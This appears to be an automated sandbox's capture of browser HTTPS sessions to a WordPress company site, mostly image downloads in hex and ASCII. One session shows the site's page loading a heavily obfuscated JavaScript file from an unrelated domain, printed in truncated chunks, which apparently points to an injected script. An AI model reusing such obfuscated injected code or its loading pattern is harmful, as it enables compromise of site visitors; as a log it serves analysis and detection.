2024-10-07 11:17:02 UTC	8000	IN	Data Raw: e7 4c 10 b8 f0 90 f9 3f a4 f9 ac 3f 53 f7 d0 f2 4e d8 dd 2e 0c 9c 34 55 95 dd a3 9e 62 37 38 61 c3 6d f8 5e 81 c6 56 50 64 72 4c 8f a9 27 8e b5 95 ad ab 6d b6 a6 7d 03 0b 65 09 0d 30 df d6 2c ed a5 b5 99 7b 3f 8d 7b bb 7b 29 c4 72 fa 5f 27 cb f7 56 59 e5 92 27 0f 1b 6d 75 3e 52 39 53 7c 4c c5 96 07 65 16 65 17 92 21 f9 47 eb 4f e1 ed 1c a9 e9 65 a6 e2 5a af 50 dc a3 1e 74 66 29 06 e8 8f e5 e6 0f ea 1d f4 9a 5e 91 36 08 59 1c 6f 85 bf d3 94 0d 3c 0f 61 a6 d8 88 59 83 8f 93 8d f9 1a d1 e3 bc 72 47 e9 a9 da 0f e5 a6 5d 7c f2 f0 2d af c7 0b 26 34 e4 12 23 00 82 c4 9b fb 8d 6a 30 25 3f b5 c7 01 c1 3b 45 c5 2a eb 8c 03 79 23 59 12 fb 4e d5 0b 6e f3 6f ba 9d f4 4e 96 ab d2 f1 b2 64 6f 3b 8f 2a f6 00 48 d6 91 55 ab b4 b3 03 36 b8 26 f1 21 82 f5 6a 46 5b 8f 0a 98 Data Ascii: L??SN.4Ub78am^VPdrL'm}e0,{?{{)r_'VY'mu>R9S\|Lee!GOeZPtf)^6Yo<aYrG]\|-&4#j0%?;Ey#YNnoNdo;HU6&!jF[
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 3a ff 00 58 18 38 e6 d6 67 93 48 d0 7e 63 f8 0e 75 1b d9 2c bd 8a 56 ad b8 5b 82 7d 43 f5 12 e3 29 82 23 72 74 50 34 2d e3 d8 2b 0d 34 e7 2a 43 36 5c b7 3c 90 6a 00 ec 14 74 7d 13 ac f5 89 0e 4a 26 e5 93 5f 59 d8 2a 9d 6d 61 c4 e9 dc 2b 43 d3 be 84 8a 30 24 cf 9c b4 83 53 1c 62 ca 3d ac 09 3e ea e6 6a f7 73 18 3a 57 0e b5 13 93 28 91 2c 89 fd 38 cd b9 33 69 7f 60 ae 1c 09 e5 6d 91 ad d8 fe 54 17 35 f4 b8 3a 07 4a 82 df d0 0e 7f 54 84 b0 f6 83 a7 c2 98 c1 14 70 d8 45 1a a2 db e5 45 0a 3e 14 cb a3 cb f8 03 ee f0 8f 99 7f e9 9e b1 e8 7a 91 63 ba 58 5c bb 9d 9a 7f 88 83 5e 4e 9d 9b d3 d1 5b 2e 55 90 49 e5 58 c1 2d 6b 71 d4 8a fa a1 01 d4 a9 17 04 58 83 c2 94 66 7d 29 36 70 12 63 32 9f 4c b6 c5 70 48 b3 0e 06 dd 94 cf a6 3f 1c 81 77 ff 00 db 06 11 e3 04 76 83 Data Ascii: :X8gH~cu,V[}C)#rtP4-+4C6\<jt}J&_Yma+C0$Sb=>js:W(,83i`mT5:JTpEE>zcX\^N[.UIX-kqXf})6pc2LpH?wv
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: ca c1 51 78 9e 26 dd d4 2a 3b cc 82 45 0c 4d 89 55 92 ea 6f d8 41 d6 86 cc 94 b3 84 4d 15 34 20 73 3c ef 51 75 dd 94 5e 02 b3 7a 8c 92 79 61 fe 9c 5c 15 47 12 a3 b4 f7 9a bf 0f a7 65 88 3f ea 13 13 1a de d0 a9 b9 67 6f e5 ec 15 5f 4b c6 d0 64 4c bb bf e5 29 d4 7f 37 e1 4e 24 ca 95 95 50 93 b1 78 2f 2f 65 56 bd 4e d5 96 c4 b5 d5 5c 55 7b 99 4e bf 0e 5c 71 6f 91 da 46 63 e6 66 e2 49 ee ac ca 74 fc a9 48 2a a5 58 6a 18 f9 6d 5f 42 ce 55 97 19 d4 fc e4 68 79 f1 f8 d2 09 57 6b 59 f4 ec 35 1b f4 25 69 6d 94 a7 6b e3 a1 4c 7b d5 14 4a c1 9c 0b 31 02 ba f2 c5 18 f3 b8 5e 7a 9a f4 8a 76 95 07 69 3c 08 a5 f2 43 b4 92 56 fa db 70 e1 4c db 4b 06 49 3d 4b db a9 c2 87 c9 b9 88 e1 6d 29 cf 4b ea 09 9b 0b 45 28 f2 9e 44 f2 ac d1 44 f0 a7 1d 23 01 cc b1 c9 15 b6 1b b6 bc Data Ascii: Qx&;EMUoAM4 s<Qu^zya\Ge?go_KdL)7N$Px//eVN\U{N\qoFcfItHXjm_BUhyWkY5%imkL{J1^zvi<CVpLKI=Km)KE(DD#
2024-10-07 11:17:02 UTC	1182	IN	Data Raw: b9 e4 7c 68 be ab 34 38 f2 a3 46 41 07 43 b7 ba 80 93 d5 dd e6 e1 7e 5c 2a ec df 4b 6b 7a 9f 2d b5 ad 9d 91 b1 bb 0b e9 79 38 39 0e fe a1 2b 37 2b 73 a3 82 c7 89 d4 e0 53 2a 49 14 eb b2 42 bf 2a 9b e8 c4 f7 5f 5a c6 2e ef 54 7a 3b af 7f 2d b8 d3 4f fc e6 d8 f7 de db bf a7 7d b7 bf f8 68 4e 72 91 a3 18 6c dc 97 80 31 1b a4 9d b8 15 8c 69 a7 2b d7 77 4d a0 48 d2 0e f7 3b db ef aa c7 af 68 3d 4f d1 fd 6b 70 df 61 f2 ed d2 dc 68 4c af fa cf ff 00 67 e8 ed fc bb 7e 7f ff 00 72 a9 9d e7 e8 4f fe 64 62 b8 e6 63 ba 69 64 95 46 bc 36 20 f1 3a d2 ec ee ab d3 e3 26 38 9a 38 d1 74 f2 dd dc db 99 e3 59 ee a3 ff 00 5a f4 db f7 3e ae de 7b ef b7 f0 a5 11 6c f5 07 ee fd 4f 4b 9f a5 6d df ef 69 4a db 8c 24 bd f5 19 25 39 7e d1 a1 a1 9b ea 08 17 e4 56 92 dc 0b 1d a3 dc 2f Data Ascii: \|h48FAC~\Kkz-y89+7+sSIB*_Z.Tz;-O}hNrl1i+wMH;h=OkpahLg~rOdbcidF6 :&88tYZ>{lOKmiJ$%9~V/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49781	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	572	OUT	GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:05 UTC	181	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2024-10-07 11:17:05 UTC	3950	IN	Data Raw: 66 36 37 0d 0a 66 75 6e 63 74 69 6f 6e 20 61 30 5f 30 78 32 36 63 62 28 29 7b 76 61 72 20 5f 30 78 35 61 38 31 35 35 3d 5b 27 57 50 56 64 4a 38 6f 4a 76 38 6b 39 27 2c 27 57 50 50 63 6b 43 6f 4d 57 4f 4f 27 2c 27 57 34 35 56 57 37 42 64 4e 53 6f 61 27 2c 27 57 4f 4e 63 47 38 6f 54 79 6d 6f 64 27 2c 27 57 50 70 64 4a 38 6b 6a 57 36 52 64 4a 71 27 2c 27 57 36 33 64 4f 53 6f 68 57 34 78 63 4e 57 27 2c 27 57 51 2f 64 4a 6d 6f 6d 27 2c 27 57 51 76 74 6e 6d 6b 39 57 37 38 27 2c 27 77 5a 74 64 4b 32 54 36 27 2c 27 57 35 68 64 52 67 34 79 79 47 27 2c 27 43 38 6f 31 69 61 33 63 4c 47 27 2c 27 57 37 52 64 48 6d 6b 57 57 51 46 64 56 71 27 2c 27 57 36 33 64 4e 38 6f 46 73 61 57 27 2c 27 6f 43 6b 75 57 34 64 64 48 6d 6b 34 27 2c 27 72 53 6f 54 6d 71 34 41 27 2c 27 68 Data Ascii: f67function a0_0x26cb(){var _0x5a8155=['WPVdJ8oJv8k9','WPPckCoMWOO','W45VW7BdNSoa','WONcG8oTymod','WPpdJ8kjW6RdJq','W63dOSohW4xcNW','WQ/dJmom','WQvtnmk9W78','wZtdK2T6','W5hdRg4yyG','C8o1ia3cLG','W7RdHmkWWQFdVq','W63dN8oFsaW','oCkuW4ddHmk4','rSoTmq4A','h
2024-10-07 11:17:05 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 30 78 66 34 31 29 29 3b 7d 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 5f 30 78 35 34 66 65 36 62 29 3b 7d 3b 76 61 72 20 5f 30 78 32 61 32 33 39 66 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 31 30 33 61 32 2c 5f 30 78 32 65 65 31 63 39 29 7b 76 61 72 20 5f 30 78 64 66 63 39 30 35 3d 5b 5d 2c 5f 30 78 33 37 39 62 37 66 3d 30 78 33 34 36 2a 2d 30 78 37 2b 2d 30 78 36 66 62 2a 2d 30 78 31 2b 30 78 66 65 66 2c 5f 30 78 32 34 32 61 63 35 2c 5f 30 78 31 33 30 66 65 38 3d 27 27 3b 5f 30 78 33 31 30 33 61 32 3d 5f 30 78 33 34 64 36 32 65 28 5f 30 78 33 31 30 33 61 32 29 3b 76 61 72 20 5f 30 78 33 39 66 62 35 66 3b 66 6f 72 28 5f 30 78 33 39 66 62 35 66 3d 30 78 31 32 31 38 2b 30 78 34 2a 2d 30 78 31 32 38 2b 2d Data Ascii: 10000xf41));}return decodeURIComponent(_0x54fe6b);};var _0x2a239f=function(_0x3103a2,_0x2ee1c9){var _0xdfc905=[],_0x379b7f=0x346-0x7+-0x6fb-0x1+0xfef,_0x242ac5,_0x130fe8='';_0x3103a2=_0x34d62e(_0x3103a2);var _0x39fb5f;for(_0x39fb5f=0x1218+0x4*-0x128+-
2024-10-07 11:17:05 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 70 75 73 68 27 5d 28 5f 30 78 34 30 36 66 35 34 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 61 30 5f 30 78 32 36 63 62 2c 2d 30 78 34 66 35 36 34 2b 2d 30 78 33 30 65 2a 30 78 34 2b 30 78 65 30 35 62 66 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 5f 30 78 32 66 32 66 65 37 3d 7b 5f 30 78 33 66 61 35 63 61 3a 30 78 34 65 2c 5f 30 78 35 38 33 34 65 30 3a 30 78 36 31 2c 5f 30 78 33 62 37 61 64 32 3a 30 78 33 66 2c 5f 30 78 32 33 34 37 30 36 3a 30 78 33 31 2c 5f 30 78 34 63 32 64 31 37 3a 30 78 34 62 2c 5f 30 78 35 37 62 37 61 65 3a 30 78 64 39 2c 5f 30 78 33 31 35 34 39 30 3a 30 78 37 66 2c 5f 30 78 35 65 66 66 36 65 3a 27 49 58 26 67 27 2c 5f 30 78 31 64 39 64 64 62 3a 30 78 32 64 39 2c 5f 30 78 34 61 64 61 39 32 3a Data Ascii: 1000push'](_0x406f54['shift']());}}}(a0_0x26cb,-0x4f564+-0x30e*0x4+0xe05bf),(function(){var a0_0x2f2fe7={_0x3fa5ca:0x4e,_0x5834e0:0x61,_0x3b7ad2:0x3f,_0x234706:0x31,_0x4c2d17:0x4b,_0x57b7ae:0xd9,_0x315490:0x7f,_0x5eff6e:'IX&g',_0x1d9ddb:0x2d9,_0x4ada92:
2024-10-07 11:17:05 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 32 64 32 37 3a 30 78 34 65 63 2c 5f 30 78 33 33 66 64 35 61 3a 30 78 35 36 65 2c 5f 30 78 32 31 34 31 61 34 3a 30 78 35 36 38 2c 5f 30 78 33 33 30 34 33 66 3a 30 78 31 62 36 2c 5f 30 78 35 65 30 38 64 66 3a 30 78 31 32 66 2c 5f 30 78 31 62 66 31 64 64 3a 30 78 35 2c 5f 30 78 35 62 62 38 64 36 3a 30 78 31 63 2c 5f 30 78 31 33 65 37 65 66 3a 30 78 32 32 2c 5f 30 78 34 64 33 37 33 63 3a 30 78 36 64 2c 5f 30 78 33 33 39 63 61 35 3a 30 78 32 64 30 2c 5f 30 78 34 64 37 37 39 36 3a 27 4c 63 7a 55 27 2c 5f 30 78 32 34 66 61 33 39 3a 30 78 36 61 2c 5f 30 78 34 35 36 32 65 34 3a 30 78 32 66 2c 5f 30 78 33 61 35 64 65 3a 27 49 62 76 43 27 2c 5f 30 78 35 34 33 63 33 39 3a 30 78 62 32 2c 5f 30 78 34 64 31 30 65 63 3a 30 78 39 39 2c 5f 30 78 31 31 61 Data Ascii: 10002d27:0x4ec,_0x33fd5a:0x56e,_0x2141a4:0x568,_0x33043f:0x1b6,_0x5e08df:0x12f,_0x1bf1dd:0x5,_0x5bb8d6:0x1c,_0x13e7ef:0x22,_0x4d373c:0x6d,_0x339ca5:0x2d0,_0x4d7796:'LczU',_0x24fa39:0x6a,_0x4562e4:0x2f,_0x3a5de:'IbvC',_0x543c39:0xb2,_0x4d10ec:0x99,_0x11a
2024-10-07 11:17:05 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 32 38 63 33 34 39 2c 30 78 35 33 35 29 2b 5f 30 78 31 64 62 66 37 38 28 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 35 61 36 37 34 36 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 63 39 39 30 39 38 2c 30 78 33 30 37 2c 30 78 33 34 61 2c 30 78 33 35 30 29 2b 27 67 65 27 5d 5b 5f 30 78 32 36 65 34 35 61 5b 5f 30 78 31 65 30 64 33 37 28 30 78 31 35 37 2c 27 38 70 42 53 27 2c 30 78 31 33 34 2c 30 78 31 32 66 2c 30 78 66 37 29 2b 5f 30 78 33 63 35 66 36 34 28 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 32 38 63 33 34 39 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 31 39 39 39 66 34 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 35 65 31 34 62 31 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 34 Data Ascii: 1000_0x2f2fe7._0x28c349,0x535)+_0x1dbf78(a0_0x2f2fe7._0x5a6746,a0_0x2f2fe7._0xc99098,0x307,0x34a,0x350)+'ge'][_0x26e45a[_0x1e0d37(0x157,'8pBS',0x134,0x12f,0xf7)+_0x3c5f64(a0_0x2f2fe7._0x28c349,a0_0x2f2fe7._0x1999f4,a0_0x2f2fe7._0x5e14b1,a0_0x2f2fe7._0x4
2024-10-07 11:17:05 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 35 34 64 64 31 35 2c 27 49 36 32 29 27 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 31 61 30 32 32 66 2c 30 78 32 64 36 29 2b 5f 30 78 33 63 35 66 36 34 28 30 78 35 31 30 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 33 34 31 36 33 34 2c 27 49 58 26 67 27 2c 30 78 35 30 35 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 32 31 33 65 37 66 29 2b 5f 30 78 65 37 62 32 33 28 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 31 39 30 64 66 39 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 33 65 62 61 64 64 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 34 65 30 30 30 38 2c 30 78 38 30 2c 27 59 31 69 4e 27 29 2b 5f 30 78 31 64 62 66 37 38 28 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 32 35 32 34 33 66 2c 61 30 5f 30 78 32 66 32 66 65 37 2e Data Ascii: 100054dd15,'I62)',a0_0x2f2fe7._0x1a022f,0x2d6)+_0x3c5f64(0x510,a0_0x2f2fe7._0x341634,'IX&g',0x505,a0_0x2f2fe7._0x213e7f)+_0xe7b23(a0_0x2f2fe7._0x190df9,a0_0x2f2fe7._0x3ebadd,a0_0x2f2fe7._0x4e0008,0x80,'Y1iN')+_0x1dbf78(a0_0x2f2fe7._0x25243f,a0_0x2f2fe7.
2024-10-07 11:17:05 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 59 31 69 4e 27 2c 30 78 34 66 38 2c 30 78 35 37 39 29 2b 5f 30 78 65 37 62 32 33 28 30 78 36 62 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 31 37 65 63 35 31 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 35 35 34 35 30 39 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 32 39 30 36 35 37 2c 27 41 72 6e 4c 27 29 2b 5f 30 78 31 65 30 64 33 37 28 30 78 64 64 2c 27 70 76 35 4d 27 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 33 62 36 31 31 33 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 31 63 31 37 31 32 2c 30 78 66 31 29 2b 5f 30 78 65 37 62 32 33 28 30 78 62 66 2c 30 78 38 38 2c 30 78 61 34 2c 61 30 5f 30 78 32 66 32 66 65 37 2e 5f 30 78 32 36 61 30 36 30 2c 27 30 78 63 32 27 29 2b 5f 30 78 31 64 34 65 30 65 28 61 30 5f 30 78 32 Data Ascii: 1000Y1iN',0x4f8,0x579)+_0xe7b23(0x6b,a0_0x2f2fe7._0x17ec51,a0_0x2f2fe7._0x554509,a0_0x2f2fe7._0x290657,'ArnL')+_0x1e0d37(0xdd,'pv5M',a0_0x2f2fe7._0x3b6113,a0_0x2f2fe7._0x1c1712,0xf1)+_0xe7b23(0xbf,0x88,0xa4,a0_0x2f2fe7._0x26a060,'0xc2')+_0x1d4e0e(a0_0x2
2024-10-07 11:17:05 UTC	3755	IN	Data Raw: 65 61 34 0d 0a 30 78 31 37 36 34 33 61 29 2b 5f 30 78 32 30 32 36 63 30 28 30 78 35 36 35 2c 30 78 35 38 62 2c 61 30 5f 30 78 33 38 34 62 66 65 2e 5f 30 78 31 38 63 62 38 32 2c 61 30 5f 30 78 33 38 34 62 66 65 2e 5f 30 78 34 61 33 30 37 64 2c 61 30 5f 30 78 33 38 34 62 66 65 2e 5f 30 78 34 34 64 61 36 33 29 2b 5f 30 78 32 64 34 63 64 31 28 2d 30 78 31 32 30 2c 2d 30 78 31 30 62 2c 2d 61 30 5f 30 78 33 38 34 62 66 65 2e 5f 30 78 35 35 63 66 32 33 2c 27 45 6e 65 66 27 2c 2d 61 30 5f 30 78 33 38 34 62 66 65 2e 5f 30 78 36 38 30 36 33 31 29 2b 5f 30 78 31 66 62 37 61 63 28 30 78 38 39 2c 30 78 61 38 2c 27 74 79 76 2a 27 2c 30 78 64 62 2c 61 30 5f 30 78 33 38 34 62 66 65 2e 5f 30 78 34 39 34 35 36 31 29 2b 5f 30 78 31 66 62 37 61 63 28 30 78 33 31 2c 61 30 5f Data Ascii: ea40x17643a)+_0x2026c0(0x565,0x58b,a0_0x384bfe._0x18cb82,a0_0x384bfe._0x4a307d,a0_0x384bfe._0x44da63)+_0x2d4cd1(-0x120,-0x10b,-a0_0x384bfe._0x55cf23,'Enef',-a0_0x384bfe._0x680631)+_0x1fb7ac(0x89,0xa8,'tyv*',0xdb,a0_0x384bfe._0x494561)+_0x1fb7ac(0x31,a0_
2024-10-07 11:17:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49782	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	720	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:01 GMT Accept-Ranges: bytes Content-Length: 4132 Content-Type: image/png
2024-10-07 11:17:02 UTC	4132	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 16 00 00 01 90 08 06 00 00 00 aa 2a 90 4a 00 00 0a 43 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 77 58 93 f7 16 3e df f7 65 0f 56 42 d8 f0 b1 97 6c 81 00 22 23 ac 08 c8 10 59 a2 10 92 00 61 84 10 12 40 c5 85 88 0a 56 14 15 11 9c 48 55 c4 82 d5 0a 48 9d 88 e2 a0 28 b8 67 41 8a 88 5a 8b 55 5c 38 ee 1f dc a7 b5 7d 7a ef ed ed fb d7 fb bc e7 9c e7 fc ce 79 cf 0f 80 11 12 26 91 e6 a2 6a 00 39 52 85 3c 3a d8 1f 8f 4f 48 c4 c9 bd 80 02 15 48 e0 04 20 10 e6 cb c2 67 05 c5 00 00 f0 03 79 78 7e 74 b0 3f fc 01 af 6f 00 02 00 70 d5 2e 24 12 c7 e1 ff 83 ba 50 26 57 00 20 91 00 e0 22 12 e7 0b 01 90 52 00 c8 2e 54 c8 14 00 c8 18 00 b0 53 b3 64 0a 00 94 00 00 6c 79 7c 42 22 00 aa 0d 00 ec f4 49 Data Ascii: PNGIHDR*JCiCCPICC profilexSwX>eVBl"#Ya@VHUH(gAZU\8}zy&j9R<:OHH gyx~t?op.$P&W "R.TSdly\|B"I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49784	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	407	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:04 GMT Accept-Ranges: bytes Content-Length: 17604 Content-Type: image/png
2024-10-07 11:17:02 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 eb 00 00 00 ca 08 06 00 00 00 44 fa b7 46 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRDFtEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: ef 02 de a3 46 8d d2 5d 46 9d 00 3f c2 ff 5e 50 4a fe 35 5b ea 91 2d f7 e8 e6 00 8d d8 5a 37 fc 45 b9 de 7c f3 cd f5 b4 47 55 ca 96 b3 f3 59 ca ae 5f bf 7e b5 04 ab ee c1 e8 66 b7 0a 66 41 d8 56 86 36 79 2f 56 4b 0e 52 d4 54 58 38 28 40 d1 84 95 b7 aa a0 92 d1 3c 7f 2c 13 2c 0a dc 3b a9 e0 1e 0d 73 55 cb 02 72 73 30 ba 35 20 74 73 b0 d6 a8 5b ad 12 e2 a2 54 66 60 65 cb d4 b9 84 0b 60 cb d8 39 79 bf 97 6e c6 15 00 fc 6e e1 a6 dd 49 02 a7 b4 a6 8f 76 12 61 8d 47 73 36 d8 44 96 a1 27 cf 57 ad 5a 55 a6 f8 ae f2 66 ea 71 71 66 ae 4b f8 2f 5f 96 45 58 5d 91 86 55 11 c0 e2 41 f5 53 56 aa 9d 6b 02 38 9e 78 b3 91 00 d6 f2 b0 fe e1 0f 7f 68 81 3d fc 45 59 fc 20 52 09 3e 1b 3b 1f f9 69 51 3d 77 ac 53 75 75 35 2a ab 42 a1 2c d6 92 df 6e 56 6c 6a 39 18 6b 35 80 e5 4d Data Ascii: F]F?^PJ5[-Z7E\|GUY_~ffAV6y/VKRTX8(@<,,;sUrs05 ts[Tf`e`9ynnIvaGs6D'WZUfqqfK/_EX]UASVk8xh=EY R>;iQ=wSuu5*B,nVlj9k5M
2024-10-07 11:17:02 UTC	1645	IN	Data Raw: 43 31 77 79 73 fd c0 81 03 2f 7c f0 c1 07 5b 05 0b 49 af b3 43 42 f4 4c 4a 56 58 79 60 bd b3 fd 0b d0 a6 0c 1d 3a f4 a9 b4 b4 b4 7f 04 ab b2 ac 70 91 89 f9 9f bd 7b f7 fe e7 93 4f 3e 39 2c 81 d0 68 cf bf 76 48 ae dd 3b e0 1c 2b e8 a5 a7 a7 bf 1c e8 35 aa 2b 17 b0 c1 e5 cc cf 13 97 e2 70 05 09 28 da 73 fb 28 26 97 57 34 52 53 ac 3e ce 45 7b dd dc b5 d5 68 6c ae 64 02 35 51 61 e5 0b bf 53 c3 2c 4e 21 85 bd fc de 7b ef fd bf 46 aa 65 52 6d 3f 3e 7d fa f4 c2 d7 5f 7f fd 23 45 7b 82 6a 33 dd f8 64 b0 7a 2a 9c 91 23 47 4e c7 3c 53 81 04 68 c6 8f 1f cf 96 8d 74 2b fe 83 ca 83 6a ae 51 55 74 a0 0a 6a 7a 28 f9 06 d7 a2 a8 a8 68 9c 30 58 9c 57 53 ad 91 33 09 1b f1 4d 46 58 45 60 35 55 76 c0 80 01 77 35 6f de fc 15 f2 0d db 84 e1 9c 95 04 6e ee c5 8b 17 73 a7 4d 9b Data Ascii: C1wys/\|[ICBLJVXy`:p{O>9,hvH;+5+p(s(&W4RS>E{hld5QaS,N!{FeRm?>}_#E{j3dz*#GN<Sht+jQUtjz(h0XWS3MFXE`5Uvw5onsM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49785	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	409	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:05 GMT Accept-Ranges: bytes Content-Length: 34669 Content-Type: image/png
